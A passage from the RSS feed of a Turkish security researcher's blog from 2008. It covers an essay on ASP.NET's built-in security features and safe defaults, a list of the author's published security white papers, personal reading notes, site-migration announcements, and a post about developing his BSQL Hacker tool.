tip açıklara şu örnekleri verebiliriz : &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS07-jul.mspx"&gt;ASP.NET Request Validation Bypass&lt;/a&gt;, &lt;a href="http://www.hardened-php.net/globals-problem"&gt;PHP Global Overwrite&lt;/a&gt;, &lt;a href="http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html"&gt;PHP Zend Hash Problemleri&lt;/a&gt;, &lt;a href="http://osvdb.org/show/osvdb/24363"&gt;Struts Validation Bypass&lt;/a&gt; vs.&lt;/p&gt;  &lt;p&gt;PHP bu konuda tamamen sabıkalı, &lt;a href="http://www.php-security.org/"&gt;The Month of PHP Bugs&lt;/a&gt; bunu bize gösterdi zaten. Burada söyleyecek pek bir şey yok, ASP.NET in .NET Framework' ü üzerinde geliştirilmiş olması aynı &lt;strong&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/strong&gt; gibi onu &lt;strong&gt;&lt;em&gt;Buffer Overflow&lt;/em&gt; &lt;/strong&gt;ve benzeri ataklardan tamamen korunmasına neden oluyor. Dolayısıyla .NET Framework' ün temelinde bir sorun çıkmadıktan sonra bir dizi güvenlik açığının ASP.NET te görülmesi imkansız hale geliyor.&lt;/p&gt;  &lt;p&gt;Bunun harici foksiyonların kendilerinde çok ciddi sorunlar çıkmadı buna rağmen &lt;em&gt;NULL&lt;/em&gt; karakterler ile string birleştirme operastyonları etkileme gibi açıkları çıktı. Dolayısıyla ASP.NET' te bu konuda mükemmel değil ama çok da kötü değil.&lt;/p&gt;  &lt;h2&gt;Güvenlik Kütüphaneleri ve Fonksiyonlar&lt;/h2&gt;  &lt;p&gt;ASP.NET tasarlandığı gibi kullanıldığında şu sorunların hepsini çözüyor :&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;SQL Injection      &lt;br /&gt;Parameterised Query kullanımı       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;XSS, Cross-site Scripting      &lt;br /&gt;Default olarak control' lerde encoding desteği, Request Validation desteği (&lt;em&gt;bu sadece derinlemesine defans faktörü, sorunun çözümü değil&lt;/em&gt;). &lt;em&gt;Bunlara rağmen ASP.NET' in control encoding desteğinin o kadar mükemmel olmadığını da belirtmek lazım.&lt;/em&gt;       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Güvenli Kullanıcı Sistemi (&lt;em&gt;Login/Logout, Role sistemi, şifre güvenliği vs.&lt;/em&gt;)       &lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms998347.aspx"&gt;ASP.NET Membership&lt;/a&gt; sistemi basit ve güvenli şekilde bir kullanıcı sistemi oluşturmanıza izin veriyor.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;CSRF (Cross-site Request Forgery)      &lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.web.ui.page.viewstateuserkey.aspx"&gt;ViewStateUserKey&lt;/a&gt; ile uygulama CSRF ataklarına karşı güvenli hale getirilebilir.       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;CRLF Injections      &lt;br /&gt;İç fonksiyonların güvenli olması otomatik olarak CRLF açıklarından (&lt;em&gt;HTTP Splitting) &lt;/em&gt;koruyor. &lt;em&gt;Bazı fonksiyonlarda sorun olsa da en azından genelde güvenli diyebiliriz.&lt;/em&gt;       &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Parameter Manipulation      &lt;br /&gt;ASP.NET istemci tarafına giden datanın modifiye edilmeden döndüğünü kontrol edebiliyor ama bu aslında pek iyi bir yazılım geliştirme pratiği değil. Eğer istemci tarafına giden datanın aynı olmasını istiyorsanız istemciden gelen parametreyi kullanmaz ve datayı &lt;em&gt;session &lt;/em&gt;yada benzeri bir yerde tutarsınız. Buna rağmen bazı yazılımlar &lt;em&gt;scability &lt;/em&gt;amaçlı buna ihtiyaç duyabiliyorlar.       &lt;br /&gt;      &lt;br /&gt;Ek olarak ASP.NET Validators var, bunlar sayesinde girdi denetimi yapmakta gayet pratik. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Bunun harici güvenlik ile ilgili bir çok hazır fonksiyon ve kütühane sunuyor:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Şifreleme ve Encoding Kütüphaneleri. Ek olarak bu kütüphaneler UTF8 ve UTF8 olmayan data ile de iyi geçiniyorlar. &lt;/li&gt; &lt;/ul&gt;  &lt;h2&gt;Güvenli Yazılım Geliştirmeye Teşvik Etme&lt;/h2&gt;  &lt;p&gt;ASP.NET' in resmi dokümantasyonu güvenliğe çok önem veriyor. Bir çok güvenlik ile ilgili makale ve bu güvenlik özelliklerinin nasıl kullanılacağına dair dokümantasyon sunuyor. Bundan daha da önemlisi örneklerde &lt;em&gt;Parameterised Query&lt;/em&gt; kullanımı gibi güvenli kullanımlar öneriliyor ve gösteriliyor. Bir çok işlem için gerekli fonksiyonlar zaten olduğundan kullanıcıların kendi kodlarını yazması gerekmiyor.&lt;/p&gt;  &lt;h2&gt;Güvenli Varsayılan Ayarlar ve Fonksiyonlar&lt;/h2&gt;  &lt;p&gt;Bu en önemli özelliklerden biri ve Microsoft' un güvenlik devriminden beri çok önemverdiği bir unsur. ASP.NET varsayılan olarak hata mesajlarını göstermiyor, debugging' i aktif hale getirmiyor. &lt;/p&gt;  &lt;p&gt;&lt;em&gt;Response.Redirect&lt;/em&gt; fonksiyonu da varsayılan olarak güvenli fonksiyonlara güzel bir örnek olabilir. Mesela PHP' de sayfa yönlendirme işleminden sonra manuel olarak sayfanın işlemin durdurmanız gerekiyor*. Bunu yapmdığınızda üyelik gerektiren sayfalara şifresiz erişim mümkün olabilir. ASP.NET ise bu fonksiyon varsayılan olarak işlemi durduruyor ama isterseniz ekstra bir parametre ile çağırıp sayafnın işlemesini durdurabiliyorsunuz.&lt;/p&gt;  &lt;p&gt;Bu yazı bir karşılaştırma yazısı değil daha çok güvenli platform geliştirmeye güzel bir örnek olarak ASP.NET' i gösterme amaçlıdır. Şu an hangi penetration tester' a sorarsanız sorun ASP.NET sitelerinin genellemede çok daha güvenli olduğunu söyleyecektir**.&lt;/p&gt;  &lt;h2&gt;Güvenli Kod Yazmak Bunun Neresinde ?&lt;/h2&gt;  &lt;p&gt;Eğer kod güvensiz yazıldıysa maalesef sizi koruyabilecek bir platform henüz keşfedilmedi, ek olarak &lt;strong&gt;&lt;em&gt;mantıksal açıklar &lt;/em&gt;&lt;/strong&gt;da aynı şekilde. Hiç bir yazılım dili ya da platform sizi &lt;a href="http://thedailywtf.com/Comments/Passwords!__Get_Your_Free_Passwords_Here!.aspx"&gt;böyle delice bir şey yapmaktan&lt;/a&gt; alı koyamaz! &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;&lt;em&gt;* Bunun ana nedeni bu fonksiyonun (header) çok jenerik olması.      &lt;br /&gt;** En azından 50 site üzerinde penetration testing yapıp, değişik platformlarda değişk siteler ile çalıştığını varsayıyorum.       &lt;br /&gt;*** Nihayet uzun bir aradan sonra teorik ama hala teknik bir yazı yazabildim.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/TedO843VTKaiY04kAwY3tPBWV3Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TedO843VTKaiY04kAwY3tPBWV3Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/TedO843VTKaiY04kAwY3tPBWV3Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TedO843VTKaiY04kAwY3tPBWV3Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ThCnHKMQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=0Peo08p2"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bGPnxMgr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=BQH8rqtN"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=BQH8rqtN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/meL6TFIhHg0" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/aspnet-guvenligi-ve-platform-tasarimi-oku/</guid>
  <comments>http://ferruh.mavituna.com/aspnet-guvenligi-ve-platform-tasarimi-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/aspnet-guvenligi-ve-platform-tasarimi-oku/</feedburner:origLink></item>
<item>
  <title>Şeytan Yemini ve The Escapists</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/xltz0F_flV8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 27 Ağu 2008 19:19:56 +0300</pubDate>
  <description>&lt;p&gt;&lt;em&gt;Bir kaç gün İskoçya - Edinburgh' da olacağım ondan sonra da hafta sonu ufak bir tatile kaçıyoruz. &lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Şeytan Yemini" src="http://www.dogankitap.com/images/kapakResimleriBuyuk/seytanYeminiB.jpg" width="150" style="float:left" /&gt;Bu arada bu yolculukları uzun süredir okumak için vakit kolladığım kitaplardan biri olan &lt;a href="http://www.dogankitap.com/kitap.asp?id=926"&gt;Jean-Christophe Grangé' ın Şeytan Yemini&lt;/a&gt; kitabına başlamayı düşünüyorum. Grange' ın bu harici tüm kitaplarını &lt;a href="http://www.librarything.com/catalog/fm"&gt;zaten okunuştum&lt;/a&gt;. Dolayısıyla bunun da süper olduğundan eminim.&lt;/p&gt;  &lt;p&gt;Bu sırada bir hafta kadar önce &lt;a href="http://www.amazon.com/Escapists-Brian-K-Vaughan/dp/1593078315"&gt;The Escapists&lt;/a&gt;' i bitirdim. Süper bir çizgi roman (&lt;em&gt;daha doğrusu graphic novel&lt;/em&gt;) değil ama fena da değildi. Bu aralar biraz nostalji yapıyorum ve nedense içimde ciddi bir çizgi roman okuma hissi var. Listemde de Hellboy v1, Watchmen, The Umbrella Academy gibi kitaplar var. &lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.darkhorse.com/Books/Previews/14-488"&gt;&lt;img height="237" src="http://images.darkhorse.com/covers/300/14/14488.jpg" width="154" align="right" /&gt;&lt;/a&gt;Dönünce bir kaç kitap ve programlama konusunda yazmayı planlıyorum. Bir de 10 sayfadan uzun bir tasarım dizisi yazısı var. Yeni siteyi yapmaya başladığımdan bu yana aldığım notlar ve site geliştirme süreci. Onu da yayınlanabilir formata getiririr getirmez 3-4 blog postu olarak yayınlamaya çalışacağım.&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Şehir dışında olacağımdan bu hafta pek bir şey yazamayabilirim ve yorum onayları biraz gecikebilir.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zENcWeApMFz8SAFKSzjBJeS04Q4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zENcWeApMFz8SAFKSzjBJeS04Q4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zENcWeApMFz8SAFKSzjBJeS04Q4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zENcWeApMFz8SAFKSzjBJeS04Q4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=M67fTiqT"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bE4sUKj6"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=s18vHLDG"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=jEfnQjWO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=jEfnQjWO" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/xltz0F_flV8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/seytan-yemini-ve-the-escapists-oku/</guid>
  <comments>http://ferruh.mavituna.com/seytan-yemini-ve-the-escapists-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/seytan-yemini-ve-the-escapists-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> White Papers</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/BeRmiHwJFL8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 25 Ağu 2008 03:56:28 +0300</pubDate>
  <description>&lt;p&gt;&lt;em&gt;Some of my published white papers in chronological order.&lt;/em&gt;&lt;/p&gt;  &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/internette-kimlik-gizleme-ip-gizlemek-ip-gizleme-oku/"&gt;Hiding your identity in the Internet&lt;/a&gt; (&lt;i&gt;Turkish&lt;/i&gt;) - &lt;em&gt;26.04.2003&lt;/em&gt; &lt;/li&gt;  &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/small-xss-paper-dangerous-href-attributes-which-don-t-have-quotes-oku/"&gt;Small XSS Paper&lt;/a&gt; - 28.07.2004     &lt;br /&gt;Potentially the first paper ever talks about detecting and exploiting XSS vulnerabilities in HTML attributes and Javascript blocks.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://turk.internet.com/haber/yazigoster.php3?yaziid=10463"&gt;A Practical Guide to PGP&lt;/a&gt; (&lt;i&gt;Turkish&lt;/i&gt;) - &lt;em&gt;09.01.2005&lt;/em&gt;     &lt;br /&gt;Practical introduction to PGP, explains basic of PGP with some real world examples.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/kablosuz-aglara-saldiri-ve-defans-oku/"&gt;Attacking and Defending Wireless Networks&lt;/a&gt; (&lt;i&gt;Turkish&lt;/i&gt;) - &lt;em&gt;25.12.2005&lt;/em&gt;     &lt;br /&gt;A Highly detailed document about attacking and defending wireless network.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/"&gt;SQL Injection Cheat Sheet&lt;/a&gt; - &lt;em&gt;15.03.2007&lt;/em&gt;     &lt;br /&gt;The most comprehensive SQL Injection Cheat Sheet, includes lots of detailed information about SQL injection methods and covers several different databases. Translated into Japanese, Published in "&lt;em&gt;&lt;a href="http://www.byakuya-shobo.co.jp/hj/"&gt;Hacker Japan&lt;/a&gt;" Issue 05.2007&lt;/em&gt;.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://labs.portcullis.co.uk/content/xss-tunnelling/"&gt;XSS Tunnelling&lt;/a&gt; - &lt;em&gt;10.07.2007 &lt;/em&gt;    &lt;br /&gt;Cutting edge research about exploitation of XSS vulnerabilities. Explains the implementation and idea of tunnelling HTTP traffic through XSS channels to bypass several restrictions and gain a total control over the victim's session.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://labs.portcullis.co.uk/application/deep-blind-sql-injection/"&gt;Deep Blind SQL Injection&lt;/a&gt; - &lt;em&gt;26.10.2007&lt;/em&gt;     &lt;br /&gt;A new way to exploit Blind SQL Injections which allows attacker to get 16+ different answers at a time from Blind SQL Injections instead of 2 (&lt;em&gt;true or false&lt;/em&gt;). Also it's implemented in &lt;a href="https://labs.portcullis.co.uk/application/bsql-hacker/"&gt;BSQL Hacker&lt;/a&gt;.     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://labs.portcullis.co.uk/application/dos-attacks-using-sql-wildcards/"&gt;SQL Wildcard Attacks&lt;/a&gt; - &lt;em&gt;12.05.2008&lt;/em&gt;     &lt;br /&gt;A new attack vector against web applications and databases. Affects more than 70% of web applications with an MS SQL Server database. &lt;em&gt;This attack is now documented in the &lt;/em&gt;&lt;a href="http://www.owasp.org/index.php/Testing_for_SQL_Wildcard_Attacks"&gt;&lt;em&gt;OWASP Testing Guide v3&lt;/em&gt;&lt;/a&gt;&lt;em&gt; as well.&lt;/em&gt;     &lt;br /&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/ssl-implementation-security-faq-oku/"&gt;SSL Implementation Security FAQ&lt;/a&gt; - &lt;em&gt;14.05.2008&lt;/em&gt;     &lt;br /&gt;Quite comprehensive FAQ for common SSL implementation security pitfalls. &lt;/li&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SA3i8RNOV0J394luIUEQZPDRrJ4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SA3i8RNOV0J394luIUEQZPDRrJ4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SA3i8RNOV0J394luIUEQZPDRrJ4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SA3i8RNOV0J394luIUEQZPDRrJ4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2RGl7DQ8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=qgUgALoe"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Hcnc9jA4"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=cSA4V4Zl"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=cSA4V4Zl" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/BeRmiHwJFL8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/white-papers-oku/</guid>
  <comments>http://ferruh.mavituna.com/white-papers-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/white-papers-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Yeni Site Yayında!</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/5TXc_RgET30/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 24 Ağu 2008 22:11:05 +0300</pubDate>
  <description>&lt;p&gt;Nihayet yeni siteyi yayın aldım. &lt;strong&gt;&lt;em&gt;Hata raporları başlasın!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Tüm taglama işlemleri henüz bitmedi, onları yapmaya devam ediyorum. Sitede bir sürü yeni özellik var, gezin, tozun kurcalayın. Heryerde RSS var üye olun. Keyfini çıkartın.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/c6UzJQn7nAay4WgOtp02zzeL30U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c6UzJQn7nAay4WgOtp02zzeL30U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/c6UzJQn7nAay4WgOtp02zzeL30U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c6UzJQn7nAay4WgOtp02zzeL30U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UWUDLh4a"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hhfOsPHZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=deSC8Yk8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=VgTswZrg"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=VgTswZrg" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/5TXc_RgET30" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yeni-site-yayinda-oku/</guid>
  <comments>http://ferruh.mavituna.com/yeni-site-yayinda-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yeni-site-yayinda-oku/</feedburner:origLink></item>
<item>
  <title>Yeni Siteye Geçiş</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/YV8t3XVyCeQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 24 Ağu 2008 00:27:20 +0300</pubDate>
  <description>&lt;p&gt;Bir s&amp;#252;redir &amp;#252;zerinde &amp;#231;alıştığım yeni sisteme ge&amp;#231;iş &amp;#231;alışmalarına başladım. &amp;#214;n&amp;#252;m&amp;#252;zdeki 1-2 g&amp;#252;n boyunca yazılan yorumlar yeni sisteme taşınmayabilir ve site d&amp;#252;zg&amp;#252;n &amp;#231;alışmayabilir. &lt;/p&gt;  &lt;p&gt;Yeni site a&amp;#231;ıldığındada bir ka&amp;#231; kriz yaşanabilir, dolayısıyla hazırlıklı olun ve 23-24 Ağustos tarihlerindeki g&amp;#252;zel yorumlarınızın taşınamayacağı ihtimalini g&amp;#246;z&amp;#246;n&amp;#252;n&amp;#252;de bulundurarak yazın.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1xa8KcVJCnKX8SlT3nSnKHcDHIE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1xa8KcVJCnKX8SlT3nSnKHcDHIE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1xa8KcVJCnKX8SlT3nSnKHcDHIE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1xa8KcVJCnKX8SlT3nSnKHcDHIE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=L9KeAyzr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=5aKsOJKt"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=4LtXlpJ0"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=e1yNGKWf"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=e1yNGKWf" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/YV8t3XVyCeQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yeni-siteye-gecis-oku/</guid>
  <comments>http://ferruh.mavituna.com/yeni-siteye-gecis-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yeni-siteye-gecis-oku/</feedburner:origLink></item>
<item>
  <title>Hack &amp; Slash Development</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/rc3lCyUDl0M/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 23 Ağu 2008 12:48:14 +0300</pubDate>
  <description>&lt;p&gt;Bu aralar bayağı boktan yazılar yazıyormuş gibi hissediyorum* ama &lt;a href="http://www.codinghorror.com/blog/archives/001160.html"&gt;Quantity always trumps quality&lt;/a&gt; ve &lt;em&gt;dibi g&amp;#246;rmeden g&amp;#246;ğ&amp;#252; g&amp;#246;rmek m&amp;#252;mk&amp;#252;n değildir&lt;/em&gt; diyerekten kendimi avutuyorum**.&lt;/p&gt;  &lt;p&gt;Bir ka&amp;#231; g&amp;#252;n &amp;#246;nce &lt;a href="http://labs.portcullis.co.uk/application/bsql-hacker/"&gt;BSQL Hacker&lt;/a&gt;' ı yayınladım. BSQL Hacker yaklaşık 4-5 sene &amp;#246;nce yazmaya başladığım bir yazılım. Başladığımda basit bir kod par&amp;#231;asıydı, yaklaşık bir sene &amp;#246;nce &amp;#231;eki d&amp;#252;zen verip bir &amp;#231;ok kısmını tekrar yazmaya ve global bir formata oturtmaya &amp;#231;alıştım. Şimdi ciddi bir yazılım olma yolunda.&lt;/p&gt;  &lt;p&gt;Yazılımın &amp;#231;ıkışı bu şekilde organik olunca geliştirme s&amp;#252;reci biraz tuhaf bir hal alabiliyor. Benim i&amp;#231;in BSQL Hacker' ı geliştirmek &lt;a href="http://thedailywtf.com/Articles/The-Cool-Cam.aspx"&gt;The Cool Cam&lt;/a&gt; gibiydi. Y&amp;#252;zlerce bug varken ben yeni &amp;#246;zellikler ekledim, &amp;#231;&amp;#252;nk&amp;#252; bug temizlemek ciddi derecede sıkıcı bir işken yeni ve &amp;quot;&lt;em&gt;cool&lt;/em&gt;&amp;quot; bir &amp;#246;zellik eklemek &amp;#231;ok daha eğlenceli. Her ne kadar yazılımı yayınlayıp, kaliteli bir şekilde dağıtmayı istesem de bu yazılım &lt;em&gt;Afrika' daki a&amp;#231; &amp;#231;ocukları doyurmayacağından&lt;/em&gt; eğlence kısmı benim esas dinamom oldu.&lt;/p&gt;  &lt;p&gt;Yazılımda genelde temel sorunu &amp;#231;&amp;#246;zmek yerine bug' ı &amp;#231;&amp;#246;zd&amp;#252;m, bu rezil bir y&amp;#246;ntem ama gel g&amp;#246;rki saatler değil dakikalar harcayarak s&amp;#252;per bir şey değil ama &amp;#231;alışan bir şey &amp;#231;ıkartabiliyorsunuz.&amp;#160; Ama siz siz olun &lt;a href="http://ferruh.mavituna.com/keep-alive-oku/"&gt;Never debug standing&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;* &amp;quot;Sadece bu aralar mı?&amp;quot; dedi biri?, ayıp, ayıp.     &lt;br /&gt;** Bu noktada Chuck Palahniuk - Choke' taki dibe vurma konseptini de irdelemek lazım.      &lt;br /&gt;*** Kendime blog postlarında en fazla &amp;quot;obscure referanslar&amp;quot; g&amp;#246;nderen blogcu se&amp;#231;iyorum, eski yazıların bir kısmındaki g&amp;#246;ndermeleri ben bile anlayamıyorum!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-b8uipeY-m0zvNJkAVaKUkKSbHk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-b8uipeY-m0zvNJkAVaKUkKSbHk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-b8uipeY-m0zvNJkAVaKUkKSbHk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-b8uipeY-m0zvNJkAVaKUkKSbHk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
